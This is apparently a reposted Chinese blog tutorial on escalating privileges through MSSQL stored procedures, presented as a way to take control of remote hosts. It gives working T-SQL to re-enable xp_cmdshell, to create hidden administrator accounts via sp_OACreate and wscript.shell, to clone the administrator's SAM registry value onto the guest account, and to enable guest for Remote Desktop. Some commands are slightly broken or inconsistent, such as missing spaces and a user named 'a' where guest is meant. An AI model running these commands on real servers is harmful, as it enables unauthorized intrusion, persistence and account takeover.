mssql數據庫提權


1.關於 “xp_cmdshell

“存儲過程”:其實質就是一個“集合”,那么是什么樣的結合呢,就是存儲在SqlServer中預先定義好的“SQL語句集合”,說的更直白一些就是使用T-SQL語言編寫好的各種小腳本共同組成的集合體,我們稱之為“存儲過程”。

 

  而存儲過程中的這些小腳本中,其危險性最高的“小腳本”就是擴展存儲過程中的“xp_cmdshell腳本”,它可以執行操作系統的任何指令。

 

    如果我們能夠獲取SA的管理員權限,我們就可以使用SA的管理權限可以直接執行擴展存儲過程中的“xp_cmdshell腳本”,並獲得返回值。

 

 

 

2. 利用 xp_cmdshell 存儲過程

 

EXEC master.dbo.xp_cmdshell 'ipconfig'

 

 

 

xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止。如果用戶擁有管理員sa權限則可以用sp_configure重修開啟它。

 

 

開啟xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure;

 

關閉xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell', 0;reconfigure

 

 

除了xp_cmdshell還有操作注冊表的存儲過程

xp_regaddmultistring

xp_regdeletekey //刪除鍵

xp_regdeletevalue //刪除值

xp_regenumkeys

xp_regenumvalues //返回多個值

xp_regread //讀取鍵值

xp_regremovemultistring

xp_regwrite //寫入鍵值 

控制服務的xp_servicecontrol等

開啟telnet服務

execmaster..xp_servicecontrol 'start', 'tlntsvr'

 

OLE相關存儲過程添加賬戶

OLE 這系列的存儲過程有

sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop

 

具體的使用方法如下。

 

1.1. 添加test賬號;

 

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123 123 /add'

 

注意:有關cmd.exe的物理路徑要依據具體操作系統來確定。

 

 

1.2. 123賬號添加到administrators超級管理組

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123/add'

 

xp和2003系統:
 
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'

 

2.  xp_regread & xp_regwrite克隆賬號

獲取administrator賬號的加密密碼

xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F'

 

將剛剛獲取的0x…開頭的value值賦值給guest賬號;

 

xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x......

 

 

 

使用guest賬號登錄遠程桌面管理

注意條件的使用需要guest 用戶在“遠程桌面用戶組”,否則出現不允許遠程登錄的情況

針對此問題,我們嘗試將guest用戶添加到“administrators”組或者“Remote Desktop Users”

 

 


 

MSSQL存儲過程利用小結

我們可以調用的存儲過程小腳本有三類:

1. xp_cmdshell

2. OLE相關存儲過程

3. xp_regread 與 xp_regwrite

 

 

 


 

 存儲過程利用方法

1. xp_cmdshell存儲過程  OLE相關存儲過程利用

 

由於xp_cmdshell 存儲與OLE相關存儲過程可以直接調系統層面的命令,故我們可以直接構造語句進行系統賬號的添加,實現對遠程主機的入侵控制;

 


 

2. xp_regread  xp_regwrite利用

 

利用xp_regread  xp_regwrite兩個存儲過程腳本可以直接讀取與寫入注冊表,所以我們可以利用這個兩個存過過程來實現對“遠程主機”的administrator超級管理員賬號進行克隆,從而實現對目標主機的控制。

但是同時注意,這種利用方法存在一定的局限性具體局限性有以下幾點:

 

1) guest賬戶需要被啟用

2) guest 賬戶需要在“Remote Desktop Users”


 

如果缺少了以上條件,guest賬戶都無法遠程登錄目標主機,有關於guest賬戶的啟用與遠程桌面用戶組的添加語句羅列如下。

exec master..xp_cmdshell ‘net user guest /active:yes’

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM